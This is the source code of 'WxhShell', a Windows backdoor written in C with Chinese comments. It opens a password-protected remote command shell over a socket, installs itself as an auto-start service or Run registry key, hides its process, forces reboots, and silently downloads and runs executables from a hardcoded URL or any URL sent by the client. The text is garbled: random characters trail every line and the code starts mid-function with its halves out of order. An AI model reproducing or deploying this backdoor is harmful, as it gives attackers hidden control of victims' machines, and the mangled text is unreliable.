    if(Boot(SHUTDOWN)) &l Q j?]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L8W3Tpi&(  
    else { vZ08/!n  
    closesocket(wsh); 4Z_.Jdu w  
    ExitThread(0); >b?,zWiw  
    } ^{s)`j'I*  
    break;  lcr=^  
    } )oj`K,#  
  // 获取shell <n>< A+D  
  case 's': { M(|gfsD  
    CmdShell(wsh); AKpux,@xB  
    closesocket(wsh); a-3~HH  
    ExitThread(0); h+Dok#g  
    break; cZu:dwE  
  } <fw[7=_)^  
  // 退出 ql#K72s  
  case 'x': { h %nZKhm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !hq7R]TC+  
    CloseIt(wsh); v zn/waw  
    break; -b{*8(d<I  
    } 8{ep`$(K@  
  // 离开 O/k4W#  
  case 'q': { ! >:O3*/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K)qmJ-Gub  
    closesocket(wsh); t~AesHZpk  
    WSACleanup(); yaf2+zV*  
    exit(1); b &JPLUr  
    break; gFKQm(0g2  
        } MwuH.# Ez  
  } HV sIbQS  
  } +LUL-d  
6?_Uow}  
  // 提示信息 0`x<sjG\q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ecHy. 7H  
} ?eu=0|d  
  } 3]!(^N>V  
r[gV`khka  
  return; +q4T];<  
} '.iUv#j4Sh  
EgY]U1{  
// shell模块句柄 J ^v_VZ3  
int CmdShell(SOCKET sock) ?832#a?FZ;  
{ pS%Az)3RZ  
STARTUPINFO si; $exu}%  
ZeroMemory(&si,sizeof(si)); .VUZ4e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #C+0m`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rl,B !SF  
PROCESS_INFORMATION ProcessInfo; xpV8_Gz;  
char cmdline[]="cmd"; tSg#2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `S!`=26Z!  
  return 0; +Kk6|+5u  
}  oCduY2  
34oC285yc  
// 自身启动模式 oreS u;`$  
int StartFromService(void) cZwQ{9>  
{ D^A_0@  
typedef struct ZFRKh:|  
{ ^Dh2_vbI  
  DWORD ExitStatus; mb&b=&  
  DWORD PebBaseAddress; 89L -k%R  
  DWORD AffinityMask; TWn7&,N  
  DWORD BasePriority; d`:0kOF+  
  ULONG UniqueProcessId; 04( h!@!g:  
  ULONG InheritedFromUniqueProcessId; # mzJ^V-  
}   PROCESS_BASIC_INFORMATION; `Q{kiy  
7mu%|!  
PROCNTQSIP NtQueryInformationProcess; {_ #   
74KFsir@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )X@(>b{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wHAh6lm  
'n=FBu ^  
  HANDLE             hProcess; bDr'W   
  PROCESS_BASIC_INFORMATION pbi; `xtN+y F  
c`iSe$eS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .D7\Hao  
  if(NULL == hInst ) return 0; I($u L@$  
lFB Ka ,6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qc3 !FW<26  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bk8IGhO|m!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D.HAp+lx  
>6aCBS?2  
  if (!NtQueryInformationProcess) return 0; 9/nL3U@i1  
^lQej%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t$}+oCnkv  
  if(!hProcess) return 0; :!3P4?a  
0[PP -]JS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9_HEImk  
'8}\! i&  
  CloseHandle(hProcess); cd:O@)i  
|5O%@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wi9fYfuv3R  
if(hProcess==NULL) return 0; ;B7>/q;g  
^c=@2#^\  
HMODULE hMod; \TKv3N  
char procName[255]; ncWASw`  
unsigned long cbNeeded; [%b<%m}L-  
87*R#((  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s&c^Wr  
Jcy`:C\Ay  
  CloseHandle(hProcess); \+5L. Q  
C5eol &  
if(strstr(procName,"services")) return 1; // 以服务启动 #Q;#A |EZ  
%2 >FSE  
  return 0; // 注册表启动 C~l5D4D#  
} Sm-nb*ZyC  
s_RYYaM  
// 主模块 $+?6U  
int StartWxhshell(LPSTR lpCmdLine) 0|HhA,u  
{ D]4?UL  
  SOCKET wsl; #M_QSD}&  
BOOL val=TRUE; <,LeFy\zW  
  int port=0; 4=1lyw  
  struct sockaddr_in door; u52@{@Ad  
bjR&bIA:  
  if(wscfg.ws_autoins) Install(); ^goS? p/z  
Y}4dW'  
port=atoi(lpCmdLine); |R+=Yk&u  
{"@Bf<J#  
if(port<=0) port=wscfg.ws_port; Uz1u6BF  
1Ce:<.99B  
  WSADATA data; S;CT:kG6Y{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~kYF/B2*  
RRV&!<l@$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,PY<AI^59  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H9&? <j1n  
  door.sin_family = AF_INET; SH5k^EJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L:'Y#VI{  
  door.sin_port = htons(port); S_\RQB\l  
RzyEA3L'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d/7 c#er  
closesocket(wsl); $bMeL7CN  
return 1; 5m_@s?P[  
} oE5+   
+[*UC"  
  if(listen(wsl,2) == INVALID_SOCKET) { S-v9z:M3  
closesocket(wsl); \Ud2]^D=  
return 1; F.O2;M|x  
} Va9vDb6  
  Wxhshell(wsl); E{j6OX\  
  WSACleanup(); /AWHG._  
2y,~i;;_  
return 0; 89WuxCFS  
jkfI,T  
} !N!M NsyDz  
m V^dIm  
// 以NT服务方式启动 +L_.XToq-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H4%wq  
{ 0{Tf;a<  
DWORD   status = 0; CMTy(Z8_)  
  DWORD   specificError = 0xfffffff; |rNm_L2  
L5U>`lx6$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bk5~t'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sX@e1*YE_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dLjT^ 9  
  serviceStatus.dwWin32ExitCode     = 0; _I@dt6oF  
  serviceStatus.dwServiceSpecificExitCode = 0; +LrW#K;  
  serviceStatus.dwCheckPoint       = 0; h#;yA"j1&  
  serviceStatus.dwWaitHint       = 0; }P^n /  
/oWB7l&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p-ry{"XA  
  if (hServiceStatusHandle==0) return; ]QpR>b=[j  
:?lSa6de  
status = GetLastError(); Wlt shZo  
  if (status!=NO_ERROR) ^GL0|G=(1  
{ X2o5Hc)l<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rvOR[T>  
    serviceStatus.dwCheckPoint       = 0; m.lNKIknQ  
    serviceStatus.dwWaitHint       = 0; V1(eebi|  
    serviceStatus.dwWin32ExitCode     = status; NbgP,-  
    serviceStatus.dwServiceSpecificExitCode = specificError; i3f/{D/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6g$+))g  
    return; ,m0=zH4+:  
  } 23Eg|Xk  
-[+FVvS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8lbNw_U  
  serviceStatus.dwCheckPoint       = 0; .]8 Jeb  
  serviceStatus.dwWaitHint       = 0; 5*ABw6'6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >o(*jZ  
} R|tjvp-[}  
w}7`Vas9  
// 处理NT服务事件,比如:启动、停止 r Cmqq/hZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mQ1QJ_;  
{ <$ '#@jW  
switch(fdwControl) *mBn''a"*  
{ mB_ba1r  
case SERVICE_CONTROL_STOP: $z` jR*  
  serviceStatus.dwWin32ExitCode = 0; @ /c{gD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k \]@  
  serviceStatus.dwCheckPoint   = 0; 5%+T~ E*  
  serviceStatus.dwWaitHint     = 0; +>/ Q+nh  
  { :Rq@%rL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EEF}Wf$f  
  } nEs l  
  return; m@"!=CTKd  
case SERVICE_CONTROL_PAUSE: g[!sGa &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X/'B*y'=U  
  break; ?jb7Oq#[  
case SERVICE_CONTROL_CONTINUE: $YL} rM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jb_/c``  
  break; !07$aQYcd  
case SERVICE_CONTROL_INTERROGATE: e3',? 5j  
  break; "BEU%,w  
}; C%G-Ye|@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W5sVQ`S-  
} P]INYH  
>YPfk=0f0  
// 标准应用程序主函数 >oLM2VJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c-`&e-~XKL  
{ Br-bUoua  
J]$%1Y  
// 获取操作系统版本 hLO nX<%a  
OsIsNt=GetOsVer(); Y$Fbi2A4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]}C#"Xt  
./.E=,j  
  // 从命令行安装 wxvt:= =  
  if(strpbrk(lpCmdLine,"iI")) Install(); T,jxIFrF  
%_} #IS1  
  // 下载执行文件 0wxQ,PI1'  
if(wscfg.ws_downexe) { "<bL-k*H)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XIf,#9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ho*S >Y  
} }|Cw]GW  
7?p%~j  
if(!OsIsNt) { ^oaG.)3  
// 如果时win9x,隐藏进程并且设置为注册表启动 NOo&5@z;H  
HideProc(); TlAY=JwW  
StartWxhshell(lpCmdLine); H2rh$2  
} "xYMv"X  
else {}vW=  
  if(StartFromService()) iZ)7%R?5  
  // 以服务方式启动 + ^4"  
  StartServiceCtrlDispatcher(DispatchTable); dqPJ 2j $\  
else i_f"?X;D  
  // 普通方式启动 >>K) 4HYID  
  StartWxhshell(lpCmdLine); yBq4~b~[  
P0UMMn\-#  
return 0; awo=%vJ&  
} b(K.p?bt  
3{~h Rd  
nL@P {,J  
hg=\L5R  
=========================================== _d)w, ;m#  
O^|,Cbon6  
0jE,=<W0>  
nn5S7!  
!0E$9Xon  
4Uz6*IQNl  
" (\#j3Y)r  
r=8]Ub[  
#include <stdio.h> rJD>]3D5p  
#include <string.h> u~% m(  
#include <windows.h> T?E2;j0h'#  
#include <winsock2.h> TY~0UU$  
#include <winsvc.h> a]$KI$)e  
#include <urlmon.h> d.2   
o y}(  
#pragma comment (lib, "Ws2_32.lib") 7{/qQGL  
#pragma comment (lib, "urlmon.lib") Z A7u66  
0nG& LL5  
#define MAX_USER   100 // 最大客户端连接数 />)>~_-3  
#define BUF_SOCK   200 // sock buffer  LBw,tP  
#define KEY_BUFF   255 // 输入 buffer v]Pw]m5=U  
nvgo6*  
#define REBOOT     0   // 重启 Sr%~ 5Q[W  
#define SHUTDOWN   1   // 关机 Ow+7o@$"/  
]X@/0  
#define DEF_PORT   5000 // 监听端口 wf<uG|90  
{I`B?6K5  
#define REG_LEN     16   // 注册表键长度 Iu%/~FgPj{  
#define SVC_LEN     80   // NT服务名长度 ';zLh  
X!nI{PE  
// 从dll定义API /vSFQ}W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]qhVxeUm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *)g*5kKN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]!0 BMZmf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v;jrAND  
u&r @@p.  
// wxhshell配置信息 )QFT$rmX  
struct WSCFG { HwM:bY N  
  int ws_port;         // 监听端口 >/ HC{.k  
  char ws_passstr[REG_LEN]; // 口令 (f $Y0;v>}  
  int ws_autoins;       // 安装标记, 1=yes 0=no L.ndLd  
  char ws_regname[REG_LEN]; // 注册表键名 Br1JZHgA  
  char ws_svcname[REG_LEN]; // 服务名 F_\\n#bv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tgc&DT; E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7s>d/F3*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sW|u}8`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;MNEe% TJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vWjK[5 M%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bbA+ZLZJn  
_ 4Hf?m7z  
}; S3btx9y{  
LP#CA^*S  
// default Wxhshell configuration 8t0i j  
struct WSCFG wscfg={DEF_PORT, rS)7D  
    "xuhuanlingzhe", w.^k':,"  
    1, z&cfFx#h)  
    "Wxhshell", r3p fG  
    "Wxhshell", >Py;6K  
            "WxhShell Service", I`DdhMi7  
    "Wrsky Windows CmdShell Service", +- c#UO>  
    "Please Input Your Password: ", qt/"$6]%  
  1, <$,i Yx   
  "http://www.wrsky.com/wxhshell.exe", o NJ/AT  
  "Wxhshell.exe" {RwwSqJ  
    }; &hjrJ/'^  
~sMn/T*fv  
// 消息定义模块 VO. Y\8/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ya304Pjd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e[>(L%QV+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3)__b:7J  
char *msg_ws_ext="\n\rExit."; QBai;p{  
char *msg_ws_end="\n\rQuit."; .:l78>f  
char *msg_ws_boot="\n\rReboot..."; _S@s  
char *msg_ws_poff="\n\rShutdown..."; dpGaI  
char *msg_ws_down="\n\rSave to "; Hagj^8  
?8YHz  
char *msg_ws_err="\n\rErr!"; c\]h YKA  
char *msg_ws_ok="\n\rOK!"; 89+m?H]K  
9FH=Jp  
char ExeFile[MAX_PATH]; "2Js[uf  
int nUser = 0; ]+d.X]   
HANDLE handles[MAX_USER]; /DZKz"N  
int OsIsNt; %C'!L]#  
ctH`71Y  
SERVICE_STATUS       serviceStatus; )wSsxX7:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >SSF:hI"J  
D#^v=U  
// 函数声明 Vk{0)W7  
int Install(void); %0fj~s;  
int Uninstall(void); dKZffDTZ  
int DownloadFile(char *sURL, SOCKET wsh); f^m8 4o'  
int Boot(int flag); VUagZ 7p  
void HideProc(void); sN^R Z0!>  
int GetOsVer(void); 4Q_2GiF_ ?  
int Wxhshell(SOCKET wsl); PM o>J|^  
void TalkWithClient(void *cs); X B65,l  
int CmdShell(SOCKET sock); }SUe 4r&4}  
int StartFromService(void); 9.SPxd~  
int StartWxhshell(LPSTR lpCmdLine); pz.<5  
l$)pCo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k NK)mE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -`f JhQ|  
l.>QO ;  
// 数据结构和表定义 \HTXl]  
SERVICE_TABLE_ENTRY DispatchTable[] = @i6D&e=  
{ .CwMxuW  
{wscfg.ws_svcname, NTServiceMain}, vV8 y_  
{NULL, NULL} wR>\5z )^  
}; !{r Gt`y  
B5J=q("P  
// 自我安装 (fY(-  
int Install(void) LT:KZ|U9  
{   7&l  
  char svExeFile[MAX_PATH]; 0Oe@0L%^3"  
  HKEY key; y;sr# -L  
  strcpy(svExeFile,ExeFile); 0'RSl~QvqS  
4*F+-fu  
// 如果是win9x系统,修改注册表设为自启动 u_zp?Nc  
if(!OsIsNt) { IjJ3CJ<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <@@.~Qm'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 83)2c a  
  RegCloseKey(key); YujhpJ<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a2o+ tR;H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Hy$SSH  
  RegCloseKey(key); ~(4cnD)BO  
  return 0; txTDuS  
    } *<s|WLMG  
  } /38^N|/Zr  
} 80axsU^H0  
else { M0"xDvQ  
pbloL3d.;+  
// 如果是NT以上系统,安装为系统服务 YadyRUE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {@B<$g   
if (schSCManager!=0) 3mr9}P9;  
{ >(~; V;  
  SC_HANDLE schService = CreateService `')3}  
  ( 5I t+ S+a  
  schSCManager, O8 k$Uc  
  wscfg.ws_svcname, )[G5qTO  
  wscfg.ws_svcdisp, H.!M_aJH  
  SERVICE_ALL_ACCESS, Sf lHSMFw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , * J~N  
  SERVICE_AUTO_START, 0u -'{6  
  SERVICE_ERROR_NORMAL, Jr 9\j3J{  
  svExeFile, & 7JCPw  
  NULL, 95?$O~I  
  NULL, gbQrSJs!Zh  
  NULL, 5BTQJa  
  NULL, 4 K)P Yk  
  NULL CXvL`d"  
  ); lE$X9yIt  
  if (schService!=0) 60^dzi!vs  
  { F7cv`i?2."  
  CloseServiceHandle(schService); QTtcGU  
  CloseServiceHandle(schSCManager); ewY+a , t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v7xc01x  
  strcat(svExeFile,wscfg.ws_svcname); #RZW)Br  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J?u@' "u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /_aFQ>.4n  
  RegCloseKey(key); ^5j9WV  
  return 0; |c dQJW  
    } $WrDZU 2z  
  } h]vA%VuE'E  
  CloseServiceHandle(schSCManager); !);'Bk9o  
} V 7%rKK  
} 97'*Xq  
?IGT!'  
return 1; y`7BR?l  
} 4~DFtWbf  
hSo\  
// 自我卸载 I>b!4?h  
int Uninstall(void) ON] z-  
{ #R'm|En'  
  HKEY key; X0Xs"--}  
G\|VTqu  
if(!OsIsNt) { gtVI>D'(W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2c_#q1/Z/  
  RegDeleteValue(key,wscfg.ws_regname); vX/~34o]\  
  RegCloseKey(key); ?psvhB{O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :W-"UW,  
  RegDeleteValue(key,wscfg.ws_regname); kImS'i{A  
  RegCloseKey(key); '-S^z"ZrI  
  return 0; ^szCf|SM  
  } :TX!lbCq  
} .)ZK42Qd  
} !imm17XQ\  
else { lLS`Ln)"  
*";,HG?|Iz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ql3hq.E  
if (schSCManager!=0) ~t.*B& A  
{ E@Q+[~H}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^MKvZ DOP  
  if (schService!=0) 9ZeTS~i  
  { ~X*)gS-=  
  if(DeleteService(schService)!=0) { ` SZ^~O  
  CloseServiceHandle(schService); : H0+}=  
  CloseServiceHandle(schSCManager); 3?.3Z!H/  
  return 0; Iyz};7yVI  
  } iRBUX`0  
  CloseServiceHandle(schService); ^CDQ75tR  
  } !#5RP5,,Y  
  CloseServiceHandle(schSCManager); Gt2NUGU  
} Qf6Vj,~N  
} gle_~es'K  
CES^ c-. k  
return 1; 7=aF-;X3jj  
} O*`] ]w]  
XjuAVNY  
// 从指定url下载文件 [wj&.I{^s  
int DownloadFile(char *sURL, SOCKET wsh) (6L[eWuTn  
{ 8^CL:8lI^\  
  HRESULT hr; Y2"X;`<  
char seps[]= "/"; LIT{rR#8  
char *token; 27<~m=`}d  
char *file; 4 B"tz!  
char myURL[MAX_PATH]; &CV%+  
char myFILE[MAX_PATH]; wm%9>mA%  
#9F=+[L  
strcpy(myURL,sURL); W}50E.\#  
  token=strtok(myURL,seps); ts<5%{M(  
  while(token!=NULL) CC;T[b&  
  { c0sU1:e0  
    file=token; C1:efa<wV  
  token=strtok(NULL,seps); hl(M0cxEWP  
  }  Cdin"  
mg;+Th &  
GetCurrentDirectory(MAX_PATH,myFILE); C{`+h163\  
strcat(myFILE, "\\"); )[.FUx  
strcat(myFILE, file); \25Rq/&w  
  send(wsh,myFILE,strlen(myFILE),0); T<=Ci?C v  
send(wsh,"...",3,0); }S\\"SBC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w4\b^iJz  
  if(hr==S_OK) f R$E*Jd  
return 0; /. k4Y  
else d3v5^5kU  
return 1; \tc 4DS  
C (L1  
} F.<sKQ&A  
l{[{pAm  
// 系统电源模块 R4.$9_ ui  
int Boot(int flag) OlL FuVR  
{ ,B_Nz}\8  
  HANDLE hToken; 9%^q?S/Rv  
  TOKEN_PRIVILEGES tkp; 66NJ&ac  
%5?qS`/c(  
  if(OsIsNt) { .DR^<Qy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :P1 J>dcG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _z4c7_H3  
    tkp.PrivilegeCount = 1; ^oDCF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  yr9%,wwN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W3Oj6R  
if(flag==REBOOT) { M0YV Qa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4D=p#KZ  
  return 0; gXBC= ?jl  
} ;7Cb!v1  
else { [xe(FFl+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g <S&sYF5  
  return 0; L  #c*)  
} Q(=} PF  
  } h; ?=:(  
  else { `dO)}}| y  
if(flag==REBOOT) { Xxhzzm-B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 00X~/'!  
  return 0; FH:^<^M  
} UIPi<_Xa  
else { owM3Gz%?UA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) biLx-F c  
  return 0; }SpjB  
} -LI^(_  
} 4iMo&E<  
\Ld/'Z;w  
return 1; CV&+^_j'k  
} s ~c_9,JK  
n]c6nX:'  
// win9x进程隐藏模块 0%$E^`  
void HideProc(void) {>$i)B  
{ o?%1^6&HE  
X%w`:c&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JG\T2/b  
  if ( hKernel != NULL ) "|ZC2Zu<  
  { |+K3\b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M*li;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /D2 cY>  
    FreeLibrary(hKernel); Z3X/SQ'0  
  } EX zA(igS  
GG@GjP<_  
return; sx7;G^93  
} [*^` rQ  
"O@L IR7  
// 获取操作系统版本 o,}`4_N||  
int GetOsVer(void) ,v(K |P@  
{ Awy-kou[C  
  OSVERSIONINFO winfo; qYjR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GF]V$5.ps  
  GetVersionEx(&winfo); V/xGk9L~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eFJ .)Z  
  return 1; )%H@.;cD_r  
  else k<xPg5  
  return 0; [HNWM/ff7+  
} =qG%h5]n  
7:iTx;,v  
// 客户端句柄模块 _gDEIoBp  
int Wxhshell(SOCKET wsl) `P/7Mf  
{ 5M6`\LyU  
  SOCKET wsh; 9C9>V]  
  struct sockaddr_in client; 3Ov? kWFO  
  DWORD myID; tgeX~.  
!Q(xA,p  
  while(nUser<MAX_USER) j8gw]V/B:  
{ +$_.${uwV  
  int nSize=sizeof(client); }e[;~g\&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n~`1KC4  
  if(wsh==INVALID_SOCKET) return 1; zb<YYJ]  
OAx5 LTd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `?@7T-v  
if(handles[nUser]==0) E&js`24 &  
  closesocket(wsh); @q8h'@sX  
else 4R<bfZ43  
  nUser++; y8~/EyY|^  
  } cPu<:<F[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qy< ~{6V  
ICq  
  return 0; vq(ElXTO  
} 9&]g2iT P  
P[Q3z$I}  
// 关闭 socket ~\ uI&S5  
void CloseIt(SOCKET wsh) R1A|g =kF  
{ z''ITX)oG  
closesocket(wsh); $"#2hVO  
nUser--; 8nKZ   
ExitThread(0); z _A]mJ  
} F`C$F!GE  
-l)u`f^n|  
// 客户端请求句柄 B}O M:0  
void TalkWithClient(void *cs) Xx)PyO  
{ b# v+_7  
e$ pXnMx7  
  SOCKET wsh=(SOCKET)cs; LHJ}I5zv  
  char pwd[SVC_LEN]; A!xx#+M  
  char cmd[KEY_BUFF]; @B e7"Fm  
char chr[1]; _'OXrT#Q  
int i,j; }wY6^JF  
Lt|'("($*  
  while (nUser < MAX_USER) { :U>[*zE4&  
St`3Z/|h  
if(wscfg.ws_passstr) { <d`ksZ+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q-tm `t*7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ng=_#<  
  //ZeroMemory(pwd,KEY_BUFF); xMOq/" )  
      i=0; yDl{18~zv  
  while(i<SVC_LEN) { 3n ~n-Jo  
3Ql77?&k  
  // 设置超时 l:'\3-2a  
  fd_set FdRead; a%FM)/oI|T  
  struct timeval TimeOut; 0-VC$)S  
  FD_ZERO(&FdRead); Y:;]qoF  
  FD_SET(wsh,&FdRead); ]?1n-w.}r  
  TimeOut.tv_sec=8; L+GVB[@3Y  
  TimeOut.tv_usec=0; PP1?UT=]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); * |dz.Tr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j*7#1<T  
 -9f+O^x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D=>[~u3H  
  pwd=chr[0]; _zuX6DO  
  if(chr[0]==0xd || chr[0]==0xa) { =eHoJq  
  pwd=0; =PQMd  
  break; B)!ty"  
  } /RF=8,A  
  i++; f[wA ]&  
    } d[( }  
JA <Hm.V#  
  // 如果是非法用户,关闭 socket +xL*`fn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 78u9> H  
} V]{^}AKc  
"kdmqvTHK0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5w^6bw){  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KFuP gp  
s%Y8;D,~+  
while(1) { CW+]Jv]"  
K6BP~@H_D  
  ZeroMemory(cmd,KEY_BUFF); p)k5Uh"  
lL<LJ :L  
      // 自动支持客户端 telnet标准   *mVQN1  
  j=0; 9CNeMoA$p:  
  while(j<KEY_BUFF) { 4S 7#B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !yQ%^g`  
  cmd[j]=chr[0]; 4DTT/ER'qA  
  if(chr[0]==0xa || chr[0]==0xd) { L\%zNPLS  
  cmd[j]=0; j=U^+jAn  
  break; EvJ<X,Bo  
  } 0e,U&B<W  
  j++; t(.jJ>|+*  
    } <aR sogu"P  
x o{y9VS  
  // 下载文件 s~tZN  
  if(strstr(cmd,"http://")) { 7.W$6U5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ahmxbv3f=5  
  if(DownloadFile(cmd,wsh)) t`!@E#VK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oQ{ X2\  
  else q L-Ni  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tmgZNg  
  } 2E$K='H:,  
  else { t4H*&U  
Co^^rd@  
    switch(cmd[0]) { %Mxc"% w  
